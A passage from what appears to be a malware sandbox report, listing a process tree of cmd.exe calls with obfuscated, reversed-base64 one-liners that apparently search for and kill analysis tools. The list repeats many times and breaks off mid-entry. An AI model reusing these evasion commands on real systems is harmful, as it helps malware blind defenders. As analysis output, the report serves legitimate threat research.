  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3884
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2860
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:632
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1228
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1284
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4280
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:992
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1484
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2980
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3352
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\cmd.exe
